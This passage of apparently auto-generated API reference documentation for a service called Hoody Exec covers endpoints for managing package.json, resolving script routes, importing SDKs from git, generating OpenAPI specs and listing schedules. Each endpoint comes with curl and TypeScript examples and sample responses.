| `description` | string | No | `"Hoody Exec project"` | Human-readable description |
| `force` | boolean | No | `false` | Overwrite an existing `package.json` if present |



```bash
curl -X POST https://api.hoody.com/api/v1/exec/package/init \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "my-hoody-app",
    "version": "0.1.0",
    "description": "My Hoody Exec application",
    "force": false
  }'
```


```typescript
const result = await client.exec.package.initJson({
  name: "my-hoody-app",
  version: "0.1.0",
  description: "My Hoody Exec application",
  force: false
});
```


```json
{
  "message": "package.json created successfully",
  "path": "/projects/my-hoody-app/package.json",
  "content": {
    "name": "my-hoody-app",
    "version": "0.1.0",
    "description": "My Hoody Exec application",
    "main": "src/index.ts",
    "scripts": {
      "start": "bun src/index.ts",
      "compile:modern": "bun build --compile --external=* --outfile bin/hoody-exec src/index.ts",
      "build:openapi": "bun run src/scripts/generate-openapi-auto.ts"
    },
    "dependencies": {}
  },
  "created": true
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "field": "name",
    "reason": "Invalid package name"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "CONFLICT",
  "code": "ERROR_409",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "resource": "package.json",
    "reason": "File already exists"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFLICT` | Resource conflict | Operation conflicts with existing resource state | Check resource state and retry |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T10:30:00.000Z"
}
```



---

### `POST /api/v1/exec/package/update`

Updates an existing `package.json` by merging in new dependencies, scripts, and metadata, or by removing keys. The response lists the changes that were applied.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `dependencies` | string | No | — | JSON-encoded string of dependencies to merge into the `dependencies` block |
| `scripts` | string | No | — | JSON-encoded string of npm scripts to merge into the `scripts` block |
| `metadata` | object | No | — | Additional top-level metadata fields to merge (e.g. `author`, `license`) |
| `remove` | string | No | — | Comma-separated list of top-level keys or dependency names to remove |



```bash
curl -X POST https://api.hoody.com/api/v1/exec/package/update \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "dependencies": "{\"hono\":\"^4.0.0\",\"zod\":\"^3.22.0\"}",
    "scripts": "{\"dev\":\"bun --watch src/index.ts\"}",
    "metadata": {"author": "Hoody Team", "license": "MIT"},
    "remove": "old-dep,old-dep2"
  }'
```


```typescript
const result = await client.exec.package.updateJson({
  dependencies: "{\"hono\":\"^4.0.0\",\"zod\":\"^3.22.0\"}",
  scripts: "{\"dev\":\"bun --watch src/index.ts\"}",
  metadata: { author: "Hoody Team", license: "MIT" },
  remove: "old-dep,old-dep2"
});
```


```json
{
  "message": "package.json updated successfully",
  "changes": [
    "added dependency: hono",
    "added dependency: zod",
    "added script: dev",
    "set metadata.author",
    "set metadata.license",
    "removed dependency: old-dep",
    "removed dependency: old-dep2"
  ],
  "changeCount": 7,
  "dependencies": {
    "hono": "^4.0.0",
    "zod": "^3.22.0"
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "field": "dependencies",
    "reason": "Invalid JSON string"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "NOT_FOUND",
  "code": "ERROR_404",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "resource": "package.json"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T10:30:00.000Z"
}
```



---

### `POST /api/v1/exec/package/compare`

Compares the dependencies declared in `package.json` against the packages actually installed in `node_modules`. The response includes a summary, lists of missing / outdated / extra packages, and aggregate boolean flags.

This endpoint takes no parameters.

**Request Body**

This endpoint accepts an optional JSON payload. No specific fields are required or documented.



```bash
curl -X POST https://api.hoody.com/api/v1/exec/package/compare \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{}'
```


```typescript
const result = await client.exec.package.compare({});
```


```json
{
  "summary": {
    "total": 4,
    "installed": 3,
    "missing": 1,
    "outdated": 1,
    "extra": 0
  },
  "missing": ["hono"],
  "outdated": [
    {
      "package": "zod",
      "declared": "^3.20.0",
      "installed": "3.19.0"
    }
  ],
  "extra": [],
  "allInstalled": false,
  "upToDate": false
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "reason": "Invalid request payload"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "NOT_FOUND",
  "code": "ERROR_404",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "resource": "package.json"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T10:30:00.000Z"
}
```



---

### `POST /api/v1/exec/package/install`

Queues an asynchronous install of dependencies. By default, all dependencies listed in `package.json` are installed. Pass an explicit `packages` array to install a subset, and use `dev: true` to install into `devDependencies` instead. The endpoint returns `202 Accepted` with the underlying install command.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `packages` | array | No | — | Specific package names to install; omit to install all declared dependencies |
| `dev` | boolean | No | `false` | Install the packages as `devDependencies` |
| `save` | boolean | No | `true` | Persist the installed packages to `package.json` |
| `force` | boolean | No | `false` | Force a clean reinstall, removing the existing `node_modules` first |



```bash
curl -X POST https://api.hoody.com/api/v1/exec/package/install \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "packages": ["hono", "zod"],
    "dev": false,
    "save": true,
    "force": false
  }'
```


```typescript
const result = await client.exec.package.install({
  packages: ["hono", "zod"],
  dev: false,
  save: true,
  force: false
});
```


```json
{
  "status": "installing",
  "command": "bun add hono zod",
  "message": "Install started in the background"
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "field": "packages",
    "reason": "Invalid package name"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T10:30:00.000Z"
}
```



---

### `POST /api/v1/exec/package/pin`

Rewrites all declared dependencies in `package.json` to their exact installed versions, removing range operators such as `^` or `~`. If `packages` is provided, only those packages are pinned; otherwise every dependency is processed.

This endpoint takes no parameters.

**Request Body**

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `packages` | array | No | — | Subset of package names to pin; omit to pin every dependency |



```bash
curl -X POST https://api.hoody.com/api/v1/exec/package/pin \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "packages": ["hono", "zod"]
  }'
```


```typescript
const result = await client.exec.package.pinVersions({
  packages: ["hono", "zod"]
});
```


```json
{
  "message": "Dependencies pinned to exact versions",
  "pinned": ["hono", "zod"],
  "count": 2,
  "dependencies": {
    "hono": "4.1.5",
    "zod": "3.22.2"
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "field": "packages",
    "reason": "Invalid package name"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "NOT_FOUND",
  "code": "ERROR_404",
  "timestamp": "2025-01-15T10:30:00.000Z",
  "details": {
    "resource": "package.json"
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T10:30:00.000Z"
}
```




When no version pinning is required, the pin endpoint returns `"All dependencies are already pinned to exact versions"` with an empty `pinned` array and `count: 0`.

---

# Route Management

**Page:** api/exec/routing

[Download Raw Markdown](./api/exec/routing.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Route Management API lets you inspect, discover, and test the URL routes that map to your script directory, manage imported SDK packages, and generate or validate user-defined OpenAPI specifications. Use these endpoints to debug routing behavior, onboard external SDKs, and produce machine-readable API documentation from your scripts.

## Route Management

### `POST /api/v1/exec/route/discover`

Discover all available routes in the script directory, classified by Next.js-style type. Scans for `.js` and `.ts` files and classifies each as: `static`, `dynamic` (`[param]`), `catch-all` (`[...slug]`), or `optional catch-all` (`[[...path]]`). Returns the route pattern, file path, type, and extracted parameter names for each route. Optionally includes file metadata (size, modification time) when `includeMetadata` is `true`.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `baseDir` | string | No | `""` | Base directory to scan for routes. |
| `includeMetadata` | boolean | No | `false` | When `true`, includes file size and modification time for each route. |



```bash
curl -X POST https://api.example.com/api/v1/exec/route/discover \
  -H "Content-Type: application/json" \
  -d '{
    "baseDir": "scripts",
    "includeMetadata": true
  }'
```


```typescript
const result = await client.exec.route.discover({
  baseDir: "scripts",
  includeMetadata: true
});
```


```json
{
  "baseDir": "scripts",
  "count": 3,
  "routes": [
    {
      "pattern": "/api/users",
      "filePath": "scripts/default/api/users.ts",
      "type": "static",
      "params": []
    },
    {
      "pattern": "/api/users/[id]",
      "filePath": "scripts/default/api/users/[id].ts",
      "type": "dynamic",
      "params": ["id"]
    }
  ]
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "NOT_FOUND",
  "code": "ERROR_404",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `POST /api/v1/exec/route/resolve`

Resolve a URL path to the script file that handles it, using Next.js-style dynamic routing. Supports static routes, dynamic segments `[param]`, catch-all `[...slug]`, and optional catch-all `[[...path]]`. Routes are matched in priority order: static > dynamic > catch-all > optional catch-all. Scoped by hostname and execId: checks `{hostname}/{execId}/`, then `{hostname}/`, then `{execId}/`, then root. Returns the matched script path, extracted route parameters, and route type.

#### Request Body

This endpoint accepts a request payload. The request body schema is empty; the server derives the target URL, hostname, and execId from the request context.



```bash
curl -X POST https://api.example.com/api/v1/exec/route/resolve \
  -H "Content-Type: application/json" \
  -d '{}'
```


```typescript
const result = await client.exec.route.resolve({});
```


```json
{
  "matched": true,
  "path": "scripts/example.com/app-1/api/users/[id].ts",
  "hostname": "example.com",
  "execId": "app-1",
  "triedDirectories": [
    "scripts/example.com/app-1",
    "scripts/example.com",
    "scripts/app-1"
  ]
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `POST /api/v1/exec/route/test`

Test multiple URL paths against the routing system in a single batch request. For each path, resolves which script would handle it using Next.js-style dynamic routing with the same priority and scoping rules as `resolveRoute`. Returns per-path match results with extracted parameters, plus aggregate `matched`/`notMatched` counts.

#### Request Body

This endpoint accepts a request payload. The request body schema is empty; provide the list of test paths in the request body according to the server contract.



```bash
curl -X POST https://api.example.com/api/v1/exec/route/test \
  -H "Content-Type: application/json" \
  -d '{}'
```


```typescript
const result = await client.exec.route.test({});
```


```json
{
  "tested": 2,
  "matched": 1,
  "notMatched": 1,
  "results": [
    {
      "path": "/api/users/42",
      "matched": true,
      "script": "scripts/default/api/users/[id].ts",
      "params": { "id": "42" },
      "type": "dynamic"
    },
    {
      "path": "/api/missing",
      "matched": false,
      "script": null,
      "params": {},
      "type": null
    }
  ]
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



## SDK Management

### `GET /api/v1/exec/sdk/:id`

Retrieve a single imported SDK by its identifier, including its source URL, on-disk path, marker, middleware files, and endpoint inventory.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Id parameter |



```bash
curl https://api.example.com/api/v1/exec/sdk/stripe-v1
```


```typescript
const result = await client.exec.sdk.get("stripe-v1");
```


```json
{
  "id": "stripe-v1",
  "type": "sdk",
  "source_url": "https://github.com/stripe/stripe-node.git",
  "path": "scripts/sdks/stripe-v1",
  "marker": "STRIPE_SDK",
  "middleware": {
    "pre": {
      "exists": true,
      "path": "scripts/sdks/stripe-v1/middleware.pre.ts",
      "hash": "a1b2c3d4e5f67890"
    },
    "post": {
      "exists": false,
      "path": null,
      "hash": null
    }
  },
  "files": {
    "total": 42,
    "endpoints": 38,
    "list": [
      "scripts/sdks/stripe-v1/charges.ts",
      "scripts/sdks/stripe-v1/customers.ts"
    ]
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "NOT_FOUND",
  "code": "ERROR_404",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `GET /api/v1/exec/sdk/list`

List all imported SDKs with summary metadata.

This endpoint takes no parameters.



```bash
curl https://api.example.com/api/v1/exec/sdk/list
```


```typescript
const result = await client.exec.sdk.list();
```


```json
{
  "sdks": [
    {
      "id": "stripe-v1",
      "source_url": "https://github.com/stripe/stripe-node.git",
      "files": 42,
      "middleware": {
        "pre": true,
        "post": false
      },
      "marker": "STRIPE_SDK"
    },
    {
      "id": "openai-v4",
      "source_url": "https://github.com/openai/openai-node.git",
      "files": 18,
      "middleware": {
        "pre": false,
        "post": true
      },
      "marker": "OPENAI_SDK"
    }
  ],
  "total": 2
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `POST /api/v1/exec/sdk/import`

Import an SDK from a remote git source into the script directory, with optional pre- and post-middleware hooks and magic comments for the script generator.

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `execId` | string | Yes | — | Identifier for the target exec context. |
| `source_url` | string | Yes | — | Git URL of the SDK to import. |
| `source_auth` | string | No | — | Authentication string for private repositories. |
| `middleware` | string | No | — | Middleware configuration payload. |
| `magic_comments` | string | No | — | Magic comments to inject into generated scripts. |
| `force` | boolean | No | `false` | Re-import and overwrite when an SDK with the same marker already exists. |



```bash
curl -X POST https://api.example.com/api/v1/exec/sdk/import \
  -H "Content-Type: application/json" \
  -d '{
    "execId": "app-1",
    "source_url": "https://github.com/stripe/stripe-node.git",
    "source_auth": "ghp_exampleToken",
    "middleware": "auth",
    "force": false
  }'
```


```typescript
const result = await client.exec.sdk.importSDK({
  execId: "app-1",
  source_url: "https://github.com/stripe/stripe-node.git",
  source_auth: "ghp_exampleToken",
  middleware: "auth",
  force: false
});
```


```json
{
  "action": "imported",
  "summary": {
    "new": 42,
    "updated": 0,
    "conflicts": 0,
    "total": 42
  },
  "sdk": {
    "id": "stripe-v1",
    "source_url": "https://github.com/stripe/stripe-node.git",
    "path": "scripts/sdks/stripe-v1",
    "files": {
      "endpoints": 38,
      "pre": "scripts/sdks/stripe-v1/middleware.pre.ts",
      "post": "scripts/sdks/stripe-v1/middleware.post.ts",
      "marker": "STRIPE_SDK"
    }
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `DELETE /api/v1/exec/sdk/:id`

Delete an imported SDK, removing all of its generated files and the associated marker directory.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Id parameter |



```bash
curl -X DELETE https://api.example.com/api/v1/exec/sdk/stripe-v1
```


```typescript
const result = await client.exec.sdk.delete("stripe-v1");
```


```json
{
  "message": "SDK deleted",
  "removed": {
    "marker": "STRIPE_SDK",
    "files": 42,
    "directory": "scripts/sdks/stripe-v1"
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "NOT_FOUND",
  "code": "ERROR_404",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `NOT_FOUND` | Resource not found | The requested resource does not exist | Verify the resource identifier |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



## User OpenAPI

### `GET /api/v1/exec/user-openapi/list`

List available user scripts along with their detected schemas and route paths. Useful for inventorying which scripts are API endpoints, which carry a Zod/JSON schema, and which path parameters they expect.

#### Parameters

| Name | In | Type | Required | Default | Description |
|------|----|------|----------|---------|-------------|
| `directory` | query | string | No | `scripts` | Script directory to list (absolute or relative to `scripts-dir`). |
| `dir` | query | string | No | — | Alias of `directory`. Ignored when `directory` is provided. |
| `subdomain` | query | string | No | — | Limit scan to scripts under this subdomain. Falls back to the `Host` header when omitted. |
| `execId` | query | string | No | — | Limit scan to scripts under this `execId`. Falls back to the `Host` header when omitted. |



```bash
curl "https://api.example.com/api/v1/exec/user-openapi/list?directory=scripts&subdomain=example.com"
```


```typescript
const result = await client.exec.openapi.listScripts({
  directory: "scripts",
  subdomain: "example.com"
});
```


```json
{
  "success": true,
  "data": {
    "directory": "scripts",
    "totalScripts": 12,
    "withSchemas": 8,
    "scripts": [
      {
        "path": "scripts/default/api/users.ts",
        "routePath": "/api/users",
        "hasSchema": true,
        "schemaFormat": "zod",
        "pathParameters": []
      },
      {
        "path": "scripts/default/api/users/[id].ts",
        "routePath": "/api/users/[id]",
        "hasSchema": true,
        "schemaFormat": "zod",
        "pathParameters": ["id"]
      }
    ]
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `GET /api/v1/exec/user-openapi/schema`

Serve a single script's schema file directly, returning the raw Zod or JSON Schema definition as JSON.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `file` | query | string | No | Absolute or `scripts-dir`-relative path to the target script (e.g. `default/api/users/[id].ts`). Either `file` or `path` must be provided. |
| `path` | query | string | No | Alias of `file`. Either `file` or `path` must be provided. |



```bash
curl "https://api.example.com/api/v1/exec/user-openapi/schema?file=default/api/users/%5Bid%5D.ts"
```


```typescript
const result = await client.exec.openapi.serveSchema({
  file: "default/api/users/[id].ts"
});
```


```json
{
  "type": "object",
  "properties": {
    "id": { "type": "string" },
    "email": { "type": "string", "format": "email" }
  },
  "required": ["id", "email"]
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `GET /api/v1/exec/user-openapi/spec`

Generate and serve the full OpenAPI specification for the user scripts on-the-fly, combining the schema files of every script in the scanned directory. Output can be requested as JSON or YAML.

#### Parameters

| Name | In | Type | Required | Default | Description |
|------|----|------|----------|---------|-------------|
| `dir` | query | string | No | `scripts` | Script directory to scan (absolute or relative to `scripts-dir`). |
| `directory` | query | string | No | — | Alias of `dir`. Ignored when `dir` is provided. |
| `format` | query | string | No | `json` | Output format. `json` (default) or `yaml`. |
| `subdomain` | query | string | No | — | Limit scan to scripts under this subdomain. Falls back to the `Host` header when omitted. |
| `execId` | query | string | No | — | Limit scan to scripts under this `execId`. Falls back to the `Host` header when omitted. |



```bash
curl "https://api.example.com/api/v1/exec/user-openapi/spec?format=json&subdomain=example.com"
```


```typescript
const result = await client.exec.openapi.serve({
  format: "json",
  subdomain: "example.com"
});
```


```json
{
  "openapi": "3.1.0",
  "info": {
    "title": "User Scripts API",
    "version": "1.0.0"
  },
  "paths": {
    "/api/users": {
      "get": {
        "summary": "List users",
        "responses": {
          "200": { "description": "OK" }
        }
      }
    },
    "/api/users/{id}": {
      "get": {
        "summary": "Get user by id",
        "parameters": [
          {
            "name": "id",
            "in": "path",
            "required": true,
            "schema": { "type": "string" }
          }
        ]
      }
    }
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `POST /api/v1/exec/user-openapi/generate`

Generate the OpenAPI specification for the user scripts and return it inline in the response body, along with metadata about the scan (path count, scan directory, generation timestamp).

#### Request Body

This endpoint accepts a request payload. The request body schema is empty; supply scan options (e.g. `directory`, `subdomain`, `execId`) in the request body according to the server contract.



```bash
curl -X POST https://api.example.com/api/v1/exec/user-openapi/generate \
  -H "Content-Type: application/json" \
  -d '{}'
```


```typescript
const result = await client.exec.openapi.generate({});
```


```json
{
  "success": true,
  "data": {
    "openapi": "3.1.0",
    "info": { "title": "User Scripts API", "version": "1.0.0" },
    "paths": {}
  },
  "meta": {
    "pathCount": 12,
    "scanDirectory": "scripts",
    "generatedAt": "2025-01-15T12:34:56.789Z"
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `POST /api/v1/exec/user-openapi/merge`

Merge multiple OpenAPI specifications into a single combined document, returning the merged result.

#### Request Body

This endpoint accepts a request payload. The request body schema is empty; supply the list of specs to merge in the request body according to the server contract.



```bash
curl -X POST https://api.example.com/api/v1/exec/user-openapi/merge \
  -H "Content-Type: application/json" \
  -d '{}'
```


```typescript
const result = await client.exec.openapi.merge({});
```


```json
{
  "success": true,
  "data": {
    "openapi": "3.1.0",
    "info": { "title": "Merged API", "version": "1.0.0" },
    "paths": {
      "/api/users": { "get": { "summary": "List users" } },
      "/api/orders": { "get": { "summary": "List orders" } }
    }
  }
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```



### `POST /api/v1/exec/user-openapi/validate`

Validate a single script's schema file, returning whether the schema is well-formed and a list of validation errors when it is not.

#### Request Body

This endpoint accepts a request payload. The request body schema is empty; supply the script path to validate in the request body according to the server contract.



```bash
curl -X POST https://api.example.com/api/v1/exec/user-openapi/validate \
  -H "Content-Type: application/json" \
  -d '{}'
```


```typescript
const result = await client.exec.openapi.validateSchema({});
```


```json
{
  "success": true,
  "data": {
    "path": "scripts/default/api/users.ts",
    "format": "zod",
    "fields": ["id", "email", "name"]
  },
  "errors": []
}
```


```json
{
  "error": "VALIDATION_ERROR",
  "code": "ERROR_400",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |


```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2025-01-15T12:34:56.789Z",
  "details": {}
}
```

---

# Schedule Management

**Page:** api/exec/scheduling

[Download Raw Markdown](./api/exec/scheduling.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The schedule management endpoints let you inspect, trigger, and refresh `@schedule` directives registered by the exec runtime. Use these to audit active cron jobs, review historical fires, reload registrations after script changes, and trigger an immediate fire for testing or recovery.

## List Schedules

### `GET /api/v1/exec/schedules/list`

Returns every currently registered `@schedule` directive, with the computed next fire time and the most recent fire outcome for each.

This endpoint takes no parameters.




```bash
curl -X GET "https://api.example.com/api/v1/exec/schedules/list" \
  -H "Authorization: Bearer &lt;token&gt;"
```




```typescript
const result = await client.exec.schedules.listSchedules();
```







```json
{
  "total": 1,
  "schedules": [
    {
      "scriptPath": "/srv/scripts/default/cron/cleanup.ts",
      "scriptRel": "default/cron/cleanup.ts",
      "subdomain": "default",
      "execId": "default",
      "vmCacheKey": "default:default/cron/cleanup.ts",
      "expression": "0 * * * *",
      "timeoutMs": 30000,
      "registeredAt": "2026-01-01T00:00:00.000Z",
      "nextFire": "2026-01-15T13:00:00.000Z",
      "lastFireAt": "2026-01-15T12:00:00.000Z",
      "lastFireStatus": "ok",
      "lastFireRunId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
    }
  ]
}
```




```json
{
  "error": "Invalid parameter format",
  "code": "VALIDATION_ERROR",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input | Request parameters failed validation | Check parameter format and requirements |




```json
{
  "error": "Internal server error",
  "code": "ERROR_500",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```




```json
{
  "error": "Service unavailable",
  "code": "ERROR_503",
  "timestamp": "2026-01-15T12:00:00.000Z"
}
```







## Schedule History

### `GET /api/v1/exec/schedules/history`

Returns newest-first NDJSON entries from the fires log. Use the query parameters to narrow the window to a specific script or a time range, and to opt into scanning rotated log files.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `scriptPath` | query | string | No | Filter entries to a specific script (relative to scripts-dir). |
| `since` | query | string | No | ISO 8601 lower bound on `ts`. |
| `limit` | query | integer | No | Max entries to return. Default `100`, hard max `1000`. |
| `includeRotated` | query | boolean | No | When `true`, also scan rotated `fires.log.*` files (slower). Default `false`. |




```bash
